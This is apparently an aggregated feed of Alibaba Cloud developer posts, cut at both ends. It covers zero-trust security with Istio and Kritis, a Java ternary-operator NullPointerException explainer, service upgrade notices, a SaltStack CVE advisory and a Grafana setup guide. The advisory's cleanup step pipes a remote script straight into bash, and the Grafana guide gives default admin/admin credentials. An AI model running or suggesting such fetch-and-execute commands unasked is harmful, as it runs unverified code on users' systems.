                  • 边缘防护:边缘防护仍然十分必要并不可或缺。对于入向流量,云原生环境可以利用K8S Network Policy加Istio Ingressgateway的方式控制暴露到公网的服务。K8S network policy可以从三层或四层对入向流量进行访问控制,Istio Gateway把访问控制的颗粒度提升到了七层,可更加精细化的限制暴露在公网的服务。开源软件对入向流量控制时并不能完全满足要求,公有云提供的DDoS攻击防护和WAF(Web应用防火墙)也是必不可少的组件,这些商业产品可以从网络流量特征上阻断从外网的攻击。对于出向流量的控制也非常重要,大部分攻击在进入内网之后都会通过各种方式与外网C&C服务器通信获取更新或指令。与办公网络不同的是大部分云原生服务不需要主动对外网发起连接,因此可以利用K8S Network Policy和Istio Egressgateway配合的方式将对外访问的控制在指定范围。通过K8S Network Policy控制整个服务网格中只有Istio Egressgateway可以访问外面,将网格内对外的访问全部转到egressgateway作为代理,并将对外访问控制在ServiceEntry中定义的外部站点。Istio Egressgateway也可以利用Istio的流量控制功能,强制出网格的流量全部走加密通道,或者对外部网站做并发限制。
                  • 服务之间零信任:服务之间的通信需要在一个加密的通道内完成,并且只有通过了认证,并且有访问权限的调用者才可以访问到服务。利用Istio开启双向TLS,可以保证服务间的通信在加密通道中完成。双向TLS认证保证了客户端对服务器证书的验证以及服务器端对客户端证书的验证。客户端证书中包含了调用者的服务标识(使用serviceaccount作为服务的标识,istio将serviceaccount与具体的服务进行映射),通过Istio安全功能中的鉴权功能,可以严格指定ACL,将服务之间的通信控制在有限的范围内,只有服务权限的调用者才能调用指定的服务。Istio将ACL的颗粒度细化到了应用层,可以进行更细粒度的控制,例如可以对HTTP method进行控制,也可以细化到请求头当中的某个属性。同时Istio指定规则的源和目标都是以服务为唯一标识,可以快速应对服务IP的改变。
                  • 服务执行统一的安全策略:Istio可以统一管理多个集群,使多个集群使用同样的安全策略。对于每个应用的安全管控也是由istio统一配置和管理的,应用无需单独处理流量加密认证鉴权等安全功能。使用OPA(open policy agent)可以屏蔽不同服务不同产品对安全策略定义的差异,提供统一的工具集和框架。

                  下图为Istio安全架构,此架构能很好地诠释Istio如何实现以上三点原则:


                  Istio安全架构
                  • 在可信的主机上运行可以溯源的代码:云原生除了使软件架构发生了重大变化之外,对服务上线的流程也有较大的改变。云原生环境下,企业大多使用持续集成持续发布的高度自动化流程,从程序员编写代码到自动化测试到安全扫描到发布上线,整个流程称作软件供应链。既然是零信任,那就需要对软件供应链的每一步加入安全属性。比较典型的软件供应链攻击就是XCodeGhost了,编译软件将恶意代码嵌入到发布软件当中,只要安装了此软件的用户就可能触发恶意代码。Google提出了二进制授权(Binary Authorization)的方式保证只有满足软件供给链安全的实例才能部署。相应的开源软件可以使用Grafeas配合Kritis来实现。Grafeas是一个开源的元数据API服务,在整个软件供应链中提供统一的审计和管理。Grafeas定义了API管理软件资源的元数据,典型的软件资源包括容器镜像,虚拟机镜像,Jar包及脚本。Kritis是一款开源的基于K8S的软件供应链安全解决方案。可以通过k8s apiserver创建基于容器镜像的安全策略,其注册的validatingwebhook可以在Pod创建时查询grafeas获取此镜像的元数据并匹配安全策略,只有符合安全策略的容器才允许部署。安装Kritis会创建四个CRD,kritisconfigs用于自身的配置(配置指向哪个grafeas),genericattestationpolicies用于定义镜像需要包含哪些attestation(软件供应量的每个阶段完成会向grafeas写入相应的attestation),imagesecuritypolicies用于定义镜像白名单,可接受的CEV安全界别及CVE例外列表,attestationauthorities用于创建Kritis使用的attestation authority。当一个镜像通过validatingwebhook之后,Kritis会为此镜像创建一个attestation,当容器重新调度或者扩容的时候会直接得到这个attestaion确保运行成功不影响现有业务。同时会有一个cronjob定期检查镜像是否符合策略的要求(如有新的安全漏洞发现),当发现不符合策略时,会给运行的pod打上指定label,由管理员决定如何处理。

                  下图是Grafeas应用于软件供应链中的一个示例图。


                  Grafeas应用于软件供应链安全流程图
                  • 简单、自动、标准的升级过程:标准的升级过程可保证安全补丁及时安装并减少对生产环境的影响。使用K8S deployment和statefulset部署无状态和有状态服务,可在升级工程中保证服务不间断。Istio利用其更精细的流量管理功能可将软件升级的影响降到最低,轻松实现A/B测试或灰度升级。
                  • 共享操作系统的实例隔离:运行在同一个宿主机上的多个容器共享操作系统,当一个容器因为漏洞被攻陷的时候很可能会影响其他运行在同宿主机上的容器的安全。可以通过对实例进行隔离的方式将一次攻击事件对整个系统的影响降到最低。比较常见的隔离方式有三种:
                    • 基于规则的系统调用控制,例如seccomp,SELinux和AppArmor。如果能将系统调用控制在非常有限的范围内,这将是一种很好的对应用实例进行隔离的方法,但实际中很难对一个应用做出这种规则,这种方式通常是作为一种辅助手段,为其他方式提供更进一步的保护。
                    • 基于沙箱技术,如gVisor。此技术把通常在宿主机内核中实现的系统调用转移到了每个沙箱独立的用户空间内核,通过截获系统调用并充当guest内核把攻击的风险降到最低。gVisor目前并没有实现全部系统调用,因此并不保证所有的应用都能正常运行。
                    • 基于虚拟化技术,如Kata Container。此技术通过对传统的虚拟化技术进行裁剪和优化,实现一种轻量级的虚拟化系统。其既有虚拟化技术在隔离和安全方面的优势,又有容器技术发布打包的便捷。

                  K8S支持多种运行时(runtime)类型,用户可根据应用不同的安全需求选择其运行时类型,对于包含敏感数据或关键业务的实例使用提供隔离能力的运行时类型,对于非关键业务使用容器运行时。


                  综上所述,零信任架构对于云原生安全的需求既包含了对基础架构的变化也包含了对研发流程的变化。Istio在其中扮演了重要的角色,其提供了统一的安全策略管理及管控,并对应用程序透明,是使用开源软件实现此安全架构的首选。同时利用grafeas提供的标准元数据API及统一管理,结合Kritis的策略定义和管控,可以很好的控制研发流程中的安全风险。云原生架构结合零信任安全架构可为软件研发团队和安全团队提供巨大的便利,使应用能够更安全的运行在生产环境。

                  ]]>
                  《Java 开发手册》解读:三目运算符为何会导致 NPE?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

                  最近,《Java 开发手册》发布了最新版——泰山版,这个名字起的不错,一览众山小。

                  新版新增了 30+ 规约,其中有一条规约引起了作者的关注,那就是手册中提到在三目运算符使用过程中,需要注意自动拆箱导致的 NullPointerException(后文简称:NPE)问题:
                  image.png
                  因为这个问题我很久之前(2015 年)遇到过,曾经在博客中也记录过,刚好最新的开发手册再次提到了这个知识点,于是把之前的文章内容翻出来并重新整理了一下,带大家一起回顾下这个知识点。

                  可能有些人看过我之前那篇文章,本文并不是单纯的"旧瓶装新酒",在重新梳理这个知识点的时候,作者重新翻阅了《The Java Language Specification》,并且对比了 Java SE 7 和 Java SE 8 之后的相关变化,希望可以帮助大家更加全面的理解这个问题。

                  基础回顾

                  在详细展看介绍之前,先简单介绍下本文要涉及到的几个重要概念,分别是"三目运算符"、"自动拆装箱"等,如果大家对于这些历史知识有所掌握的话,可以先跳过本段内容,直接看问题重现部分即可。

                  三目运算符

                  在《The Java Language Specification》中,三目运算符的官方名称是 Conditional Operator ? : ,我一般称呼他为条件表达式,详细介绍在 JLS 15.25 中,这里简单介绍下其基本形式和用法。

                  三目运算符是 Java 语言中的重要组成部分,它也是唯一有 3 个操作数的运算符。形式为:

                  <表达式1> ? <表达式2> : <表达式3>

                  以上,通过 ?、: 组合的形式得到一个条件表达式。其中 ? 运算符的含义是:先求表达式 1 的值,如果为真,则执行并返回表达式 2 的结果;如果表达式 1 的值为假,则执行并返回表达式 3 的结果。

                  值得注意的是,一个条件表达式从不会既计算 <表达式 2>,又计算 <表达式 3>。条件运算符是右结合的,也就是说,从右向左分组计算。例如,a?b:c?d:e 将按 a?b:(c?d:e) 执行。

                  自动装箱与自动拆箱

                  介绍过了三目运算符(条件表达式)之后,我们再来简单介绍下 Java 中的自动拆装箱相关知识点。

                  每一个 Java 开发者一定都对 Java 中的基本数据类型不陌生,Java 中共有 8 种基本数据类型,这些基础数据类型带来一个好处就是他们直接在栈内存中存储,不会在堆上分配内存,使用起来更加高效。

                  但是,Java 语言是一个面向对象的语言,而基本数据类型不是对象,导致在实际使用过程中有诸多不便,如集合类要求其内部元素必须是 Object 类型,基本数据类型就无法使用。

                  所以,相对应的,Java 提供了 8 种包装类型,更加方便在需要对象的地方使用。

                  有了基本数据类型和包装类,带来了一个麻烦就是需要在他们之间进行转换。在 Java SE5 中,为了减少开发人员的工作,Java 提供了自动拆箱与自动装箱功能。

                  自动装箱:就是将基本数据类型自动转换成对应的包装类。
                  自动拆箱:就是将包装类自动转换成对应的基本数据类型。

                  Integer i =10;  //自动装箱
                  int b= i;     //自动拆箱

                  我们可以简单理解为,当我们自己写的代码符合装(拆)箱规范的时候,编译器就会自动帮我们拆(装)箱。

                  自动装箱都是通过包装类的 valueOf() 方法来实现的.自动拆箱都是通过包装类对象的 xxxValue() 来实现的(如 booleanValue()、longValue() 等)。

                  问题重现

                  在最新版的开发手册中给出了一个例子,提示我们在使用三目运算符的过程中,可能会进行自动拆箱而导致 NPE 问题。

                  原文中的例子相对复杂一些,因为他还涉及到多个 Integer 相乘的结果是 int 的问题,我们举一个相对简单的一点的例子先来重现下这个问题:

                  boolean flag = true; //设置成true,保证条件表达式的表达式二一定可以执行
                  boolean simpleBoolean = false; //定义一个基本数据类型的boolean变量
                  Boolean nullBoolean = null;//定义一个包装类对象类型的Boolean变量,值为null 
                  boolean x = flag ? nullBoolean : simpleBoolean; //使用三目运算符并给x变量赋值

                  以上代码,在运行过程中,会抛出 NPE:

                  Exception in thread "main" java.lang.NullPointerException

                  而且,这个和你使用的 JDK 版本是无关的,作者分别在 JDK 6、JDK 8 和 JDK 14 上做了测试,均会抛出 NPE。

                  为了一探究竟,我们尝试对以上代码进行反编译,使用 jad 工具进行反编译后,得到以下代码:

                  boolean flag = true;
                  boolean simpleBoolean = false;
                  Boolean nullBoolean = null;
                  boolean x = flag ? nullBoolean.booleanValue() : simpleBoolean;

                  可以看到,反编译后的代码的最后一行,编译器帮我们做了一次自动拆箱,而就是因为这次自动拆箱,导致代码出现对于一个 null 对象( nullBoolean.booleanValue() )的调用,导致了 NPE。

                  那么,为什么编译器会进行自动拆箱呢?什么情况下需要进行自动拆箱呢?

                  原理分析

                  关于为什么编辑器会在代码编译阶段对于三目运算符中的表达式进行自动拆箱,其实在《The Java Language Specification》(后文简称 JLS)的第 15.25 章节中是有相关介绍的。

                  在不同版本的 JLS 中,关于这部分描述虽然不尽相同,尤其在 Java 8 中有了大幅度的更新,但是其核心内容和原理是不变的。我们直接看 Java SE 1.7 JLS 中关于这部分的描述(因为 1.7 的表述更加简洁一些):

                  The type of a conditional expression is determined as follows: • If the second and third operands have the same type (which may be the null type),then that is the type of the conditional expression. • If one of the second and third operands is of primitive type T, and the type of the other is the result of applying boxing conversion (§5.1.7) to T, then the type of the conditional expression is T.

                  简单的来说就是:当第二位和第三位操作数的类型相同时,则三目运算符表达式的结果和这两位操作数的类型相同。当第二,第三位操作数分别为基本类型和该基本类型对应的包装类型时,那么该表达式的结果的类型要求是基本类型。

                  为了满足以上规定,又避免程序员过度感知这个规则,所以在编译过程中编译器如果发现三目操作符的第二位和第三位操作数的类型分别是基本数据类型(如 boolean)以及该基本类型对应的包装类型(如 Boolean)时,并且需要返回表达式为包装类型,那么就需要对该包装类进行自动拆箱。

                  在 Java SE 1.8 JLS 中,关于这部分描述又做了一些细分,再次把表达式区分成布尔型条件表达式(Boolean Conditional Expressions)、数值型条件表达式(Numeric Conditional Expressions)和引用类型条件表达式(Reference Conditional Expressions)。

                  并且通过表格的形式明确的列举了第二位和第三位分别是不同类型时得到的表达式结果值应该是什么,感兴趣的大家可以去翻阅一下。

                  其实简单总结下,就是:

                  当第二位和第三位表达式都是包装类型的时候,该表达式的结果才是该包装类型,否则,只要有一个表达式的类型是基本数据类型,则表达式得到的结果都是基本数据类型。如果结果不符合预期,那么编译器就会进行自动拆箱。即 Java 开发手册中总结的:只要表达式 1 和表达式 2 的类型有一个是基本类型,就会做触发类型对齐的拆箱操作,只不过如果都是基本类型也就不需要拆箱了。

                  如下 3 种情况是我们熟知该规则,在声明表达式的结果的类型时刻意和规则保持一致的情况(为了帮助大家理解,我备注了注释和反编译后的代码):

                  boolean flag = true;
                  boolean simpleBoolean = false;
                  Boolean objectBoolean = Boolean.FALSE;
                  //当第二位和第三位表达式都是对象时,表达式返回值也为对象。
                  Boolean x1 = flag ? objectBoolean : objectBoolean;
                  //反编译后代码为:Boolean x1 = flag ? objectBoolean : objectBoolean;
                  //因为x1的类型是对象,所以不需要做任何特殊操作。
                  //当第二位和第三位表达式都为基本类型时,表达式返回值也为基本类型。
                  boolean x2 = flag ? simpleBoolean : simpleBoolean;
                  //反编译后代码为:boolean x2 = flag ? simpleBoolean : simpleBoolean;
                  //因为 x2 的类型也是基本类型,所以不需要做任何特殊操作。
                  //当第二位和第三位表达式中有一个为基本类型时,表达式返回值也为基本类型。
                  boolean x3 = flag ? objectBoolean : simpleBoolean;
                  //反编译后代码为:boolean x3 = flag ? objectBoolean.booleanValue() : simpleBoolean;
                  //因为 x3 的类型是基本类型,所以需要对其中的包装类进行拆箱。

                  因为我们熟知三目运算符的规则,所以我们就会按照以上方式去定义 x1、x2 和 x3 的类型。

                  但是,并不是所有人都熟知这个规则,所以在实际应用中,还会出现以下三种定义方式:

                  //当第二位和第三位表达式都是对象时,表达式返回值也为对象。
                  boolean x4 = flag ? objectBoolean : objectBoolean;
                  //反编译后代码为:boolean x4 = (flag ? objectBoolean : objectBoolean).booleanValue();
                  //因为 x4 的类型是基本类型,所以需要对表达式结果进行自动拆箱。
                  //当第二位和第三位表达式都为基本类型时,表达式返回值也为基本类型。
                  Boolean x5 = flag ? simpleBoolean : simpleBoolean;
                  //反编译后代码为:Boolean x5 = Boolean.valueOf(flag ? simpleBoolean : simpleBoolean);
                  //因为 x5 的类型是对象类型,所以需要对表达式结果进行自动装箱。
                  //当第二位和第三位表达式中有一个为基本类型时,表达式返回值也为基本类型。
                  Boolean x6 = flag ? objectBoolean : simpleBoolean;
                  //反编译后代码为:Boolean x6 = Boolean.valueOf(flag ? objectBoolean.booleanValue() : simpleBoolean);
                  //因为 x6 的类型是对象类型,所以需要对表达式结果进行自动装箱。

                  所以,日常开发中就有可能出现以上 6 种情况。聪明的读者们读到这里也一定想到了,在以上 6 种情况中,如果是涉及到自动拆箱的,一旦对象的值为 null,就必然会发生 NPE。

                  举例验证,我们把以上的 x3、x4 以及 x6 中的的对象类型设置成 null,分别执行下代码:

                  Boolean nullBoolean = null;
                  boolean x3 = flag ? nullBoolean : simpleBoolean;
                  boolean x4 = flag ? nullBoolean : objectBoolean;
                  Boolean x6 = flag ? nullBoolean : simpleBoolean;

                  以上三种情况,都会在执行时发生 NPE。

                  其中 x3 和 x6 是三目运算符运算过程中,根据 JLS 的规则确定类型的过程中要做自动拆箱而导致的 NPE。由于使用了三目运算符,并且第二、第三位操作数分别是基本类型和对象。就需要对对象进行拆箱操作,由于该对象为 null,所以在拆箱过程中调用 null.booleanValue() 的时候就报了 NPE。

                  而 x4 是因为三目运算符运算结束后根据规则他得到的是一个对象类型,但是在给变量赋值过程中进行自动拆箱所导致的 NPE。

                  小结

                  如前文介绍,在开发过程中,如果涉及到三目运算符,那么就要高度注意其中的自动拆装箱问题。

                  最好的做法就是保持三目运算符的第二位和第三位表达式的类型一致,并且如果要把三目运算符表达式给变量赋值的时候,也尽量保持变量的类型和他们保持一致。并且,做好单元测试!!!

                  所以,《Java 开发手册》中提到要高度注意第二位和第三位表达式的类型对齐过程中由于自动拆箱发生的 NPE 问题,其实还需要注意使用三目运算符表达式给变量赋值的时候由于自动拆箱导致的 NPE 问题。

                  至此,我们已经介绍完了《Java 开发手册》中关于三目运算符使用过程中可能会导致 NPE 的问题。

                  如果一定要给出一个方法论去避免这个问题的话,那么在使用的过程中,无论是三目运算符中的三个表达式,还是三目运算符表达式要赋值的变量,最好都使用包装类型,可以减少发生错误的概率。

                  扩展思考

                  为了方便大家理解,我使用了简单的布尔类型的例子说明了 NPE 的问题。但是实际在代码开发中,遇到的场景可能并没有那么简单,比如说以下代码,大家猜一下能否正常执行:

                  Map<String,Boolean> map =  new HashMap<String, Boolean>();
                  Boolean b = (map!=null ? map.get("Hollis") : false);

                  如果你的答案是"不能,这里会抛 NPE"那么说明你看懂了本文的内容,但是,我只能说你只是答对了一半。

                  因为以上代码,在小于 JDK 1.8 的版本中执行的结果是 NPE,在 JDK 1.8 及以后的版本中执行结果是 null。

                  之所以会出现这样的不同,这个就说来话长了,我挑其中的重点内容简单介绍下吧,以下内容主要还是围绕 Java 8 的 JLS 。

                  JLS 15 中对条件表达式(三目运算符)做了细分之后分为三种,区分方式:

                  • 如果表达式的第二个和第三个操作数都是布尔表达式,那么该条件表达式就是布尔表达式
                  • 如果表达式的第二个和第三个操作数都是数字型表达式,那么该条件表达式就是数字型表达式
                  • 除了以上两种以外的表达式就是引用表达式

                  因为 Boolean b = (map!=null ? map.get("Hollis") : false); 表达式中,第二位操作数为 map.get("test") ,虽然 Map 在定义的时候规定了其值类型为 Boolean,但是在编译过程中泛型是会被擦除的(泛型的类型擦除),所以,其结果就是 Object。那么根据以上规则判断,这个表达式就是引用表达式。

                  又跟据 JLS 15.25.3 中规定:

                  如果引用条件表达式出现在赋值上下文或调用上下文中,那么条件表达式就是合成表达式

                  因为,Boolean b = (map!=null ? map.get("Hollis") : false); 其实就是一个赋值上下文(关于赋值上下文相见 JLS 5.2),所以 map!=null ? map.get("Hollis") : false; 就是合成表达式。

                  那么 JLS 15.25.3 中对合成表达式的操作数类型做了约束:

                  合成的引用条件表达式的类型与其目标类型相同

                  所以,因为有了这个约束,编译器就可以推断(Java 8 中类型推断,详见 JLS 18)出该表达式的第二个操作数和第三个操作数的结果应该都是 Boolean 类型。

                  所以,在编译过程中,就可以分别把他们都转成 Boolean 即可,那么以上代码在 Java 8 中反编译后内容如下:

                  Boolean b = maps == null ? Boolean.valueOf(false) : (Boolean)maps.get("Hollis");

                  但是在 Java 7 中可没有这些规定(Java 8 之前的类型推断功能还很弱),编译器只知道表达式的第二位和第三位分别是基本类型和包装类型,而无法推断最终表达式类型。

                  那么他就会先根据 JLS 15.25 的规定,把返回值结果转换成基本类型。然后在进行变量赋值的时候,再转换成包装类型:

                  Boolean b = Boolean.valueOf(maps == null ? false : ((Boolean)maps.get("Hollis")).booleanValue());

                  所以,相比 Java 8 中多了一步自动拆箱,所以会导致 NPE。

                  电子书下载:《Java开发手册》泰山版

                  ]]>
                  【0506 - 0509 直播导视 | PPT 下载】如何成为顶级架构师的内功修炼秘笈、Quick Start:阿里云 Java Initializr-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 *本预告时间仅供参考,最终直播时间以直播间信息为准。
                  *本文提供直播PPT下载,请在对应直播介绍处查看。

                  本周直播重磅推荐:

                  5月06日:

                  【阿里的K8s测试环境开源工具箱】第三期:多人协同场景下的测试环境实践

                  直播时间:05-06 16:00
                  直播亮点:
                  在软件开发的生命周期里,测试环境是所有环境当中部署最频繁、也是开发者在日常工作使用最频繁的一种运行环境。随着云原生技术的流行,越来越多企业选择使用云上的Kubernetes服务快速搭建和管理测试环境资源,这使得原本可以直连的测试服务需要通过Ingress或Gateway机制才能访问。同时在大型微服务系统中,由于开发者共用测试环境,经常出现频繁部署和版本相互覆盖造成的稳定性影响。一直以来,如何有效降低开发者本地调试成本、灵活分配测试环境,实现即避免开发者之间相互干扰又最大化资源利用率,是一项十分具有挑战性的任务。本次分享将介绍一种在阿里广泛使用的测试环境管理模式以及它的Kubernetes开源版本,希望对采用云原生技术栈的IT企业和开发者有所启发。
                  分享嘉宾
                  林帆(花名:金戟)
                  阿里巴巴 技术专家

                  *PPT下载待更新

                  如何构建普适的企业级微服务架构

                  直播时间:05-06 16:00
                  直播亮点:
                  1.微服务架构下服务设计实践
                  2.微服务架构下数据设计实践
                  3.微服务架构下分布式事务设计实践
                  分享嘉宾
                  孙玄:奈学教育科技创始人&CEO

                  *PPT下载待更新

                  5月07日:

                  阿里云新品发布会第92期:云服务器ECS内存增强型实例re6全新发布

                  直播时间:05-07 15:00
                  直播亮点:
                  新产品re6 三大特性:最优性价比之选,满足你更低成本、更高性能的上云需求

                  *PPT下载待更新

                  Quick Start:阿里云Java Initializr

                  直播时间:05-07 19:30
                  直播亮点:
                  Start.aliyun.com 是基于 Spring-initializr 实现的工程脚手架生成平台;在 Spring 的基础上,实现了对Spring cloud alibaba 各组件的支持;同时还为开发者带来了完善的配置和使用样例,大幅提升开发者的工作效率;本次分享将介绍 Start.aliyun.com以及相关工具链的使用方法及服务于开发者生态的规划。
                  分享嘉宾
                  陈曦:start.aliyun.com负责人,Spring Cloud Alibaba 项目成员

                  *PPT下载待更新
                  ]]>
                  【升级】5月7日DDoS高防升级通知 Fri, 02 May 2025 09:39:04 +0800

                  【阿里云】【DDoS高防(国际)】【升级通知】

                  升级窗口:北京时间 2020年5月7日 01:00- 05:00

                  升级内容:DDoS高防进行网络升级操作
                  升级影响:升级期间,部分IP需要重新连接,会导致TCP连接闪断2次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

                  给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

                  ]]>
                  【升级】5月消息队列MQ升级计划通知 Fri, 02 May 2025 09:39:04 +0800

                  【阿里云】【消息队列MQ】【升级通知】

                  升级窗口:

                  北京时间2020年5月7日 01:00 - 09:00

                  北京时间2020年5月11日 01:00 - 09:00

                  北京时间2020年5月14日 01:00 - 09:00

                  北京时间2020年5月18日 01:00 - 09:00

                  北京时间2020年5月21日 01:00 - 09:00

                  北京时间2020年5月25日 01:00 - 09:00

                  北京时间2020年5月28日 01:00 - 09:00
                  升级内容:所有地域的MQ服务(包含Tcp、Mqtt、Http接入方式)。

                  升级影响:升级期间MQ控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端会自动重试机制,一般不会影响业务,但可能会有异常日志。
                  升级期间,消息可能会有重复,应用应该按最值实践,做好消息的幂等;同时可能会有消息延迟的现象。
                  如需在控制台进行管理操作,请避开维护时间段。HTTP接入可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。同时,您可使用监控管理功能对重要业务进行监控,具体设置方法请点击MQ控制台左侧监控报警菜单。

                  给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

                  ]]>
                  【漏洞预警】SaltStack远程命令执行漏洞(CVE-2020-11651、CVE-2020-11652) Fri, 02 May 2025 09:39:04 +0800

                  2020年5月3日,阿里云应急响应中心监测到近日国外某安全团队披露了SaltStack存在认证绕过致命令执行漏洞以及目录遍历漏洞。


                  漏洞描述

                  SaltStack是基于Python开发的一套C/S架构配置管理工具。国外某安全团队披露了SaltStack存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。在CVE-2020-11651认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过Salt Master的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。在CVE-2020-11652目录遍历漏洞中,攻击者通过构造恶意请求,读取服务器上任意文件。阿里云应急响应中心提醒SaltStack用户尽快采取安全措施阻止漏洞攻击。


                  影响版本

                  SaltStack < 2019.2.4

                  SaltStack < 3000.2


                  安全版本

                  2019.2.4

                  3000.2


                  清理方案

                  当您发现服务器已经遭受攻击,可登录服务器使用阿里云安全团队提供的清除工具进行一键清除。

                  curl https://ageis-check.oss-cn-hangzhou.aliyuncs.com/salt_miner_clean.sh | /bin/bash
                  
                  
                  

                  修复方案


                  以下任意一种方法均可实现漏洞修复/缓解


                  1. 升级至安全版本及其以上,升级前建议做好快照备份措施。安全版本下载地址参考:https://repo.saltstack.com

                  2. 设置SaltStack为自动更新,及时获取相应补丁。

                  3. 将Salt Master默认监听端口(默认4505 和 4506)设置为禁止对公网开放,或仅对可信对象开放。安全组相关设置示例如下:

                  经典安全组,设置公网入方向Drop规则
                  Drop 1 0.0.0.0/0 4505/4506



                  专有网络安全组:
                  对可信对象设置内网入方向Accept规则(建议配置vpc所属网段,以vpc是10网段为例),
                  然后设置内网入方向Drop all规则(drop all优先级需要低于vpc所属网段accept优先级,否则内网也将被阻断):
                  Accept 1 10.0.0.0/8 4505/4506

                  Drop 2 0.0.0.0/0 4505/4506



                  阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测

                  阿里云云防火墙已可防御此漏洞攻击


                  相关链接

                  https://labs.f-secure.com/advisories/saltstack-authorization-bypass



                  我们会关注后续进展,请随时关注官方公告。

                  如有任何问题,可随时通过工单或服务电话95187联系反馈。

                  阿里云应急响应中心

                  2020.05.03

                  ]]>
                  Grafana数据可视化工具安装与应用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Grafana数据可视化工具安装与应用

                  关键词:Grafana、Elasticsearch、Table、Gauge、BarGrauge、Graph、PieChart、Variables。

                  Grafana是开源的可视化和数据监控分析工具软件。
                  支持查询、呈现、告警和浏览指标。
                  无视数据存储位置与数据库类型,只要Grafana能够访问到数据则可支持呈现。
                  可通过简单的配置,将时间序列数据库数据转换为图形和可视化效果。
                  本文中示例数据以Elasticsearch数据库为主,其他类型数据设置方式类似。

                  1、安装和配置

                  1.1、工具安装

                  登陆Grafana官方下载地址https://grafana.com/grafana/download 获得安装文件。
                  image.png

                  1.1.1、在线安装

                  (1)下载源码包
                  wget https://dl.grafana.com/oss/release/grafana-6.7.2-1.x86_64.rpm
                  image.png
                  (2)YUM安装
                  sudo yum install grafana-6.7.2-1.x86_64.rpm
                  image.png
                  (3)初始化
                  重载systemd配置:
                  systemctl daemon-reload
                  启动服务:
                  systemctl start grafana-server
                  查看状态:
                  systemctl status grafana-server
                  设置开机启动:
                  systemctl enable grafana-server.service
                  image.png
                  (4)测试
                  注:需关闭防火墙或放开3000端口
                  地址:http://IP地址:3000
                  默认账号密码:admin/admin
                  image.png
                  image.png

                  1.1.2、离线安装

                  (1)下载源码包
                  选择系统类型并通过下载链接下载rpm包:
                  https://dl.grafana.com/oss/release/grafana-6.7.2-1.x86_64.rpm
                  (2)YUM指定源码包安装
                  下载完成后将rpm包上传至linu服务器,并通过yum命令安装rpm包:
                  yum install -y grafana-6.7.2-1.x86_64.rpm
                  image.png
                  (3)初始化
                  启动grafana服务:
                  service grafana-server restart
                  image.png
                  将grafana服务器配置为在开机时启动:
                  chkconfig grafana-server on
                  image.png
                  (4)测试
                  注:需关闭防火墙或放开3000端口
                  地址:http://IP地址:3000
                  默认账号密码:admin/admin
                  image.png
                  image.png

                  1.2、配置管理

                  1.2.1、环境配置

                  (1)常用路径

                  二进制文件
                  /usr/sbin/grafana-server
                  启动脚本
                  /etc/init.d/grafana-server
                  环境变量
                  /etc/sysconfig/grafana-server
                  image.png
                  配置文件
                  /etc/grafana/grafana.ini
                  image.png
                  systemd服务
                  grafana-server.service
                  日志
                  /var/log/grafana/grafana.log

                  (2)常用命令

                  加载配置文件
                  systemctl daemon-reload
                  启动grafana服务
                  systemctl start grafana-server
                  设置开机启动
                  systemctl enable grafana-server.service
                  image.png
                  重启grafana服务
                  service grafana-server restart
                  image.png
                  查看运行状态
                  systemctl status grafana-server
                  image.png

                  (3)配置文件说明

                  配置文件/etc/grafana/grafana.ini内容:

                  【paths】
                  data=/var/lib/grafana#用来存储sqlite3、临时文件、会话等路径
                  logs=/var/log/grafana#日志路径
                  plugins=/var/lib/grafana/plugins#插件路径
                  【server】
                  protocol=http#访问协议,默认http
                  http_addr=#监听的ip地址,默认是0.0.0.0
                  http_port=3000#监听的端口,默认是3000
                  domain =localhost#通过浏览器访问grafana时的公开的domian名称,默认是localhost
                  enforce_domain =false#如果主机的头不匹配domian,则跳转到一个正确的域上,默认是false
                  root_url=http//localhost3000#访问grafana的全路径url
                  router_logging =false#是否记录web请求日志,默认是false
                  static_root_path=public#前端文件(HTML,JS和CSS文件)的目录路径默认为public
                  enable_gzip =false
                  cert_file=#SSL变量,使用用https时需要设置
                  cert_key=#证书,使用用https时需要设置
                  【database】
                  type=sqlite3#数据库,默认是sqlite3
                  host=127.0.0.1:3306#mysql,postgres需要,默认是127.0.0.1:3306
                  name=grafana#grafana的数据库名称,默认是grafana
                  user=grafana#数据库用户名
                  password=grafana#数据库密码
                  url=#使用URL配置数据库
                  ssl_mode=禁用#mysql,postgres使用
                  path = grafana.db#只是sqlite3需要,定义sqlite3的存储路径
                  【session】
                  provider=file#session存储类型
                  provider_config=sessions
                  cookie_name=grafana_sess#grafana的cookie名称
                  cookie_secure=false#是否依赖https,默认为false
                  session_life_tim =86400#session过期时间,默认=86400秒
                  【log】
                  mode=console file#日志模式
                  level=info#日志级别
                  filters=#可选设置为特定的记录设置不同的级别
                  【log.console】
                  level=#日志级别
                  format =console#日志格式
                  【log.file】
                  level=#日志级别
                  format=text#日志格式
                  log_rotate=true
                  max_lines =1000000#单个日志文件的最大行数
                  max_size_shift=28#单个日志文件的最大大小
                  daily_rotate=true
                  max_days =7#日志过期时间单位天
                  【users】
                  allow_sign_up=true#是否允许普通用户登录
                  allow_org_create=true#是否允许用户创建新组织
                  auto_assign_org=true#是否自动的把新增用户增加到id为1的组织中
                  auto_assign_org_role=Viewer#新建用户附加的规则
                  login_hintdisable_login_form=false#是否隐藏登陆框
                  default_theme=dark#默认页面的背景
                  【auth】
                  disable_login_form=false#是否隐藏登陆框
                  【auth.basic】
                  enabled=true#是否开启HttpApi基本认证
                  【smtp】邮件服务器设置
                  enabled=false#是否开启
                  host=localhost25#ip和端口
                  user=
                  passwd=
                  cert_file=
                  key_file=
                  skip_verify=false
                  from_address=admin@grafana.localhost#发送邮箱名
                  from_name=Grafana#发送人
                  【dashboards.json】
                  enabled=true#是否开启自定义dashboards
                  path=/var/lib/grafana/dashboards#自定义dashboards路径
                  【Alerting】
                  enabled=true#是否启用警报引擎
                  execute_alerts=true#是否执行报警规则
                  【auth.proxy】
